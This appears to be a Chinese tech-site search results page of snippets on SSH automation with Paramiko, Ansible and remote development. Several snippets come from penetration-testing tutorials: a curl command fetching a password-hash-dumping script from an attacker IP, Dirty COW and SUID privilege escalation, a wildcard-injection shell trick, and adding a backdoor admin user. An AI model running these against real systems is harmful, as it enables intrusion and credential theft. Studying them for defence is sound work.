首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Paramiko远程操作Linux服务器

本篇将介绍一个Python的第三方库Paramiko,使用Paramiko,我们可以在Python脚本中进行SSH连接Linux服务器并远程执行Linux命令。...例如要想在Linux服务器上进行测试环境的部署,传统的做法是使用SSH工具(例如:Xshell、Xftp、FinalShell、secureCRT、PuTTY等)连接远程服务器,然后手动在Linux服务器上输入一条一条的命令...、stderr对象获取命令的报错信息,可以根据需要对输出进行处理和显示 stdin, stdout, stderr = client.exec_command('你要执行的命令') # 获取命令输出...使用cd命令进行目录切换时不生效 当使用Paramiko库远程执行命令时,cd命令无法直接切换目录,这是因为cd是一个shell内置命令,无法直接通过Paramiko执行,此时可以通过在执行命令时添加额外的命令前缀来模拟...使用wget命令下载文件时文件为0KB 刚开始使用wget http://XXX/file.tar.gz下载文件时发现下载下来的文件为0KB,原因是在执行wget命令时,Python脚本挂起,解决方案就是在

32320

用Python远程登陆服务器的最佳实践

来源 | Python编程时光(ID: Cool-Python) 在使用 Python 写一些脚本的时候,在某些情况下,我们需要频繁登陆远程服务去执行一次命令,并返回一些结果。...使用 subprocess 若是使用 Python 来做这件事,通常我们会第一时间,想到使用 os.popen,os.system,commands,subprocess 等一些命令执行库来间接获取...highlight=ssh)给的一些信息,写的一个demo。 尝试运行后,发现程序会一直在运行中,永远不会返回,不会退出,回调函数也永远不会进入。...(my_server.ls()) # 可在 sleep 期间,手动登陆服务器,使用 top ,查看当前有多少终端在连接 time.sleep(5) # 再次执行这条命令时,登陆终端数将 +1,执行完后...连接,执行两次命令,可实际上,你可以在远程机器上,执行 top 命令看到已连接的终端的变化,会先 +1 再 -1,说明两次命令的执行是通过两次连接实现的。

2.9K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    干货 | Linux之渗透测试常用文件传输方法

    2 内容速览 介绍 文件上传一般分为上传和下载,下面我所指的下载具体指的是攻击机(本地机器)向目标机(服务器)传输文件。 而上传则相反是从目标中收集下载文件!...攻击机挂载文件 Python脚本挂载 # python2 python -m SimpleHTTPServer # python3适用的将当前目标挂载,不填写端口的话默认是到8000端口中 python3...httpd.service # 添加测试文件(我们上传给目标的文件就放到/var/www/html目录中即可) echo "测试" > /var/www/html/index.html # 如果测试文件添加后直接访问IP无法获取内容...curl 这个命令用来请求 Web 服务器的命令行工具,但可以使用其-o或-O参数来进行文件下载。...目标地址 curl -o Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1 # 除此之外,如果我们在目标成功上传了小马还能通过这种方式来控制小马执行命令

    32110

    教程 | 一步步从零开始:使用PyCharm和SSH搭建远程TensorFlow开发环境

    然后将你的计算机联网,并通过在终端(Terminal)输入 ifconfig 来获取 IP 地址,在本文中,我假设我们的 IP 地址是 192.168.0.1,在实际操作时,你需要根据你自己的情况进行修改...这样你就能轻松地在本地和远程项目之间切换了。 ? 一旦你保存并运行了一个文件后,这些部署设置将会无缝工作,它完成得非常快,你可能都无法察觉。...为其命名后选择该脚本运行: ? 现在像之前一样进入所需的环境变量。小技巧:你可以直接从我们之前指定的控制台设置中直接复制它们,在左下角使用 Ctrl+A 和复制/粘贴即可。...然后你可以输入 ls/ 来验证你确实在你的服务器上执行该命令。输出应该是这样的: ? 运行脚本 现在回到你的 test.py 脚本,然后选择顶部栏的 Run > Run…。...记住在一个分离开的终端中你需要至少一个开放的 SSH 连接,使用 DISPLAY 环境变量的正确值以使其工作。如果无效尝试重新启动你的 SSH 连接。 调试脚本 最后做一些调试。

    4.2K60

    我用STM32MP1做了个疫情监控平台1—交叉编译环境搭建

    在进行嵌入式开发时,常常是在PC(x86架构)上使用交叉编译工具编译,编译出来的可执行文件在开发板(ARM)平台下运行。...好了,程序运行没问题,就可以使用arm-gcc来编译这个程序,并生成可以在arm开发板上运行的可执行文件了。再使用交叉编译工具编译这个C程序,指定输出arm.o文件。...因为这个文件是运行在ARM架构的系统上的,所以在PC上不能运行,下面我们把这个文件放到开发板上去运行。 4.在开发板上运行Hello World程序 怎么能在开发板上运行这个程序呢?...scp命令要确保使用的用户具有可读取远程服务器相应文件的权限,否则scp命令是无法起作用的。...ssh root@192.168.1.136 ? 6.注意 如果遇到无法正常安装程序,请尝试安装以下程序。

    1.4K10

    域渗透——多层内网环境渗透测试(三)

    save quit ssh -i id_rsa root@192.168.52.10 写入成功即可直接ssh登录到服务器上。...使用命令查看ARP缓存表 总结: 1、服务器角色:Nginx反代理服务器 2、内网地址:192.168.52.10 3、入口机 可出网 小结:下一步就是搭建一个隧道,其次针对我们从配置文件得知的Nginx...脏牛提权 上传脏牛脚本,尝试用脏牛提权 gcc -pthread dirty.c -o dirty -lcrypt 运行脏牛提权 ..../dirty 这个提权也是失败的 现在内核提权无法使用,那就只能用信息收集脚本来找具有SUID或4000权限的文件了 环境变量提权 回头看信息收集的文件的时候发现其中: 这里我们运行一下这个shell文件...现在用这个脚本+密码的情况下可以获取到域控机器的hash,那么打完置空之后,尝试不适用密码。来尝试一下是否能获取域控的所有用户的hash。

    81710

    如何在Ubuntu 18.04上安装和配置Ansible

    在Ansible服务器上,使用cat命令将非root用户的SSH公钥文件的内容打印到终端的输出: cat ~/.ssh/id_rsa.pub 将生成的输出复制到剪贴板,然后打开一个新终端并使用SSH连接到您的一个...然后运行exit命令以返回主机的非root用户: exit 最后,因为Ansible使用位于/usr/bin/python中的python解释器来运行其模块,所以您需要在主机上安装Python 2,以便...运行以下命令以更新主机的软件包索引并安装python软件包: sudo apt update sudo apt install python 在此之后,您可以再次运行exit命令以关闭与客户端的连接:...", "unreachable": true } 在Ansible服务器上,我们使用的是一个名为sammy的用户。Ansible将尝试用ssh sammy@server连接到每个主机。...这些基本上是可以在远程主机上运行的命令。ping模块以多种方式运行,如Linux中的普通ping实用程序,但它会检查Ansible连接。

    6.1K30

    Python:指定 SSH-ED25519 公钥算法访问 OpenSSH-server

    这在增强安全性的同时,也给一些依赖旧公钥算法的工具和脚本带来了兼容性问题。本文将探讨如何解决 Python 脚本在这种环境下无法正常连接服务器的问题。...这导致了许多工具和脚本,尤其是基于 Python 的 Paramiko 库无法正常工作,因为它们默认使用的公钥算法可能不包括 ssh-ed25519。...创建和配置 SSH 客户端 在 Python 脚本中,使用 Paramiko 创建 SSH 客户端,并配置其使用 ssh-ed25519 公钥算法进行连接。...(local_path, remote_path) sftp.close() def execute_command(ssh_client, command): """在远程服务器上执行命令...确保使用最新版本的 Paramiko 和正确配置公钥算法,可以保证脚本在更安全的 SSH 环境中正常运行。

    16410

    学习如何安装Ansible和运行Playbooks

    如果是这样,请ansible在本指南中使用前缀命令sudo。 安装Ansible 只需要在控制机器或运行命令的机器上安装Ansible 。...注意如果您不想使用SSH密钥,可以添加--ask-pass交换机。 要在没有任何其他设置的情况下尝试Ansible命令,我们现在将添加一些额外的参数。...这是暂时的,只是告诉Ansible尝试在没有库存文件的情况下直接连接到服务器,我们将在稍后了解。...一个playbook也可以在一组机器上运行一些命令,切换到另一组运行不同的命令,然后切换回原始或不同的一组机器。它是程序性的,任务按顺序从上到下运行。...要查看所有可用模块的列表,请运行: ansible-doc -l 您可能有兴趣首先学习的一些常见核心模块包括: command - 在远程节点上执行命令 script - 传输后在远程节点上运行本地脚本

    5.1K10

    Kali Linux 网络扫描秘籍 第四章 指纹识别(一)

    这个秘籍展示了如何使用 Netcat 获取服务特征,以便识别和开放端口相关的服务。 准备 为了使用 Netcat 收集服务特征,在客户端服务连接时,你需要拥有运行开放信息的网络服务的远程系统。...这个秘籍展示饿了如何使用 Python 套接字来获取服务特征,以便识别目标系统上和开放端口相关的服务。...连接后,recv函数可以用于从套接字所连接的服务接收内容。假设有可用信息,它会打印它作为输出。这里,我们可以看到由运行在 Metasploitable2 服务器上的 FTP 服务提供的特征。...比起指定需要尝试特征抓取的端口,Dmitry 可以自动化这个过程,通过仅仅在小型的预定义和常用端口集合中尝试特征抓取。来自运行在这些端口地址的特征之后会在脚本的终端输出中显示。...这个秘籍展示了如何使用 Amap 来获取服务特征,以便识别和目标系统上的开放端口相关的服务。 准备 为了使用 Amap 收集服务特征,在客户端服务连接时,你需要拥有运行开放信息的网络服务的远程系统。

    1.6K30

    Linux应急响应之工具篇

    当企业被攻击者入侵,系统被挂暗链、内容遭到恶意篡改,服务器出现异常链接、卡顿等情况时,需要进行紧急处理,使系统在最短时间内恢复正常。...由于应急处理往往时间紧,所以尝试将应急中常见处理方法整合到脚本中,可自动化实现部分应急工作。...应急脚本采用python2.0完成,由于所有需要执行的命令都是依靠ssh进行远程链接,所以在运行脚本之前,需要输入正确的主机ip地址、ssh远程连接端口、ssh远程登录账户、ssh远程登录密码。...脚本运行后输出如下信息: ? 最终在当前目录下生成如下文件 ? 脚本运行完毕后,在当前目录下生成log.txt,记录脚本检查结果: ?...脚本整体的思路比较简单,就是远程登录到linux执行常见的应急命令,脚本中的命令在centos下都是可正常运行的,可以在根据实际环境自行在对命令做调整。

    2.1K51

    Kali Linux Web渗透测试手册(第二版) - 7.4 - Linux上的权限提升

    在关于权限提升的第一个配方中,我们将利用上一个配方,我们上传并执行反向shell到我们的攻击机器,并使用Kali Linux中包含的工具获取服务器上的管理访问权限。...实战演练 建议前两个配方,即利用Shellshock执行命令以及使用Metasploit创建和捕获反向shell,在开始之前完成,尽管可以从远程服务器上的任何有限shell获得相同的结果。...实验开始 我们在受感染的服务器上运行了一个meterpreter shell - 更具体地说,是具有IP 192.168.56.12的beebox。 让我们从找到升级权限的方法开始: 1....我们将使用该文件使root用户在启动时执行命令。 我们将创建一个具有管理权限的用户,以便我们可以通过SSH连接随时到服务器。为此,我们需要检查系统中存在的组,以便我们了解哪些组具有特权访问权限。...在分析了unix-privesc-check的结果后,我们决定修改在启动时以高权限运行的脚本,并向其添加两个命令。第一个是创建属于admin,adm和root组的用户,另一个是为这样的用户设置密码。

    99210

    一文吃透Linux提权

    以下提到的技术可用于获取系统上的“ root”访问权限。...在这种情况下,用户正在运行某些只能从该主机获得的服务。您无法从外部连接到服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者其中可能存在漏洞。...它与特定用户一起运行命令。因此,我们可以尝试滥用它来实现特权升级。 滥用cron的一个好方法是, 1.检查cron运行的脚本的文件权限。...当特权用户或脚本在具有潜在危险标志的命令中使用通配符时,尤其是与外部命令执行相关的通配符,这是一个坏消息。在这些情况下,我们可能会使用它来升级特权。...现在让我们注入将运行我们的shell脚本的标志: touch — “-e sh shell.sh” 0x009 Linux提权-NFS权限弱 如果您在linu服务器上具有低特权shell,并且发现服务器中具有

    5.6K42

    数据科学家必知的21个命令

    很多时候,我们需要的数据并不存储在我们的本机上。所以首先,我们要知道如何链接到远程服务器上并使用它。为此,使用SSH最为合适。...(SSH,即Secure Shell,是一个加密网络协议,它能让你在一个不安全的网络上安全地远程登陆和使用其他网络服务) 在Ubuntu的终端你可以用以下几个命令之一来登陆远程服务器。...若没有,你可以在终端尝试以下命令。...当你访问远程主机的这个端口,就会建立一个SSH隧道,并建立了通向这个主机端口的链接。 -N不执行远程脚本或命令,只在前向端口时使用。 -f 经过远程系统认证后立即进入后台模式。...查看磁盘空间 显示目前在Linux系统上的文件系统的磁盘使用情况 df -h 获取文件夹大小 du -sh dir_name/ 获取文件夹和子目录的大小 du -h dir_name/* 获取文件大小

    59410

    Kali Linux Web渗透测试手册(第二版) - 7.4 - Linux上的权限提升

    在关于权限提升的第一个案例中,我们将利用上一节中的方法,我们上传反向shell到我们的攻击机器,并执行。然后使用Kali Linux中包含的工具获取服务器上的管理权限。...实验开始 我们在受感染的服务器上运行了一个meterpreter shell - 更具体地说,是具有IP 192.168.56.12的beebox。 让我们从找到升级权限的方法开始: 1....从meterpretershell,我们可以使用upload命令将其上传到服务器。...我们将使用该文件使root用户在启动时执行命令。 我们将创建一个具有管理权限的用户,以便我们可以通过SSH连接随时到服务器。为此,我们需要检查系统中存在的组,以便我们了解哪些组具有特权访问权限。...尝试升级基于Unix的系统中的权限时要查找的其他常见方面如下: SUID位:当在程序或脚本的属性中设置此位时,此类程序将在所有者用户的权限下执行,而不是在执行它的用户的权限下执行。

    1.1K20

    安服仔偷懒必备技能之自动化主机检查脚本

    二、python实现 先确定下流程,大概的流程就是这四个: 连接服务器 上传脚本 执行脚本 回收数据 最重要的是先连接上去,不然想得再好都没用,连接的话我用是py的paramiko,功能挺强大的...从表格里面去获取每一台主机的信息,而在paramiko的连接这块有几个坑,首先是连接上去,连接上去有很多种方式,首先分为两大类,一类是SSH,一类是FTP,然后每一类都有两种连接方式,一种是基于密码,一种是基于密钥...所以这里先获取下IP# stdout 为正确输出,stderr为错误输出,同时是有1个变量有值stdin, stdout, stderr = ssh.exec_command('ip a|grep inet...')(向右滑动,查看更多) 它就会先cd到tmp这个目录下面,然后执行ls命令,到这无法上传下载文件,无法跳转目录两个坑基本上就填上了,这里贴下完整的数据,表格的格式是IP,端口,用户名,密码。...lftp -u ${user},${password} sftp://${ip}:${port} 在命令上scp -P ${port} ${file} ${user}@${ip}:$

    62630

    Python 进行 SSH 操作,实现本地与服务器的链接,进行文件的上传和下载

    我本地和服务器的连接一直使用的是 Xshell 5,而在与服务器进行文件操作的时候使用的是 Xshell 推荐安装的一个工具 Xftp 5,然而,昨天自己想着从服务器下载备份好的的数据库文件到本地的时候发现这个文件传输工具居然过期不能用了...于是没办法(机智如我)只好用 Python 来实现 SSH 的连接,顺便从服务器批量下载一些文件,实现自动化。...脚本思路 首先来介绍一下我这个简单的自动化脚本做的事情(由于想实现的事情比较单一且固定,所以直接写成了几个函数,写的比较随意): 首先创建一个配置文件,用来存放登录服务器的一些参数,例如服务器 host...连接服务区并执行shell命令返回输出结果 def ssh_test(host, port, username, password): ssh = paramiko.SSHClient()...()) 然后传入相关参数,尝试连接到远程服务器: try: ssh.connect(hostname=host, port=port, username=username, password=password

    1.5K30

    The Missing Semester of Your CS Education

    简单记录一些以前不太熟悉的 shell 中的路径是一组被分割的目录,在 Linux 和 macOS 上使用 / 分割,而在Windows上是 \。 当前工作目录可以使用 pwd 命令来获取。...如果程序无法执行,请使用 ls 命令来获取信息并理解其不能执行的原因。...常见应用:当你因为权限不足执行命令失败时,可以使用 sudo !!再尝试一次。 $_ - 上一条命令的最后一个参数。如果你正在使用的是交互式 shell,你可以通过按下 Esc 之后键入 ....因此为了在出错时能够对其进行调试,需要花费大量的时间重现错误并捕获输出。 编写一段bash脚本,运行如下的脚本直到它出错,将它的标准输出和标准错误流记录到文件,并在最后输出所有内容。...例如,我们在远端服务器上运行 Jupyter notebook 并监听 8888 端口。

    2K21
    领券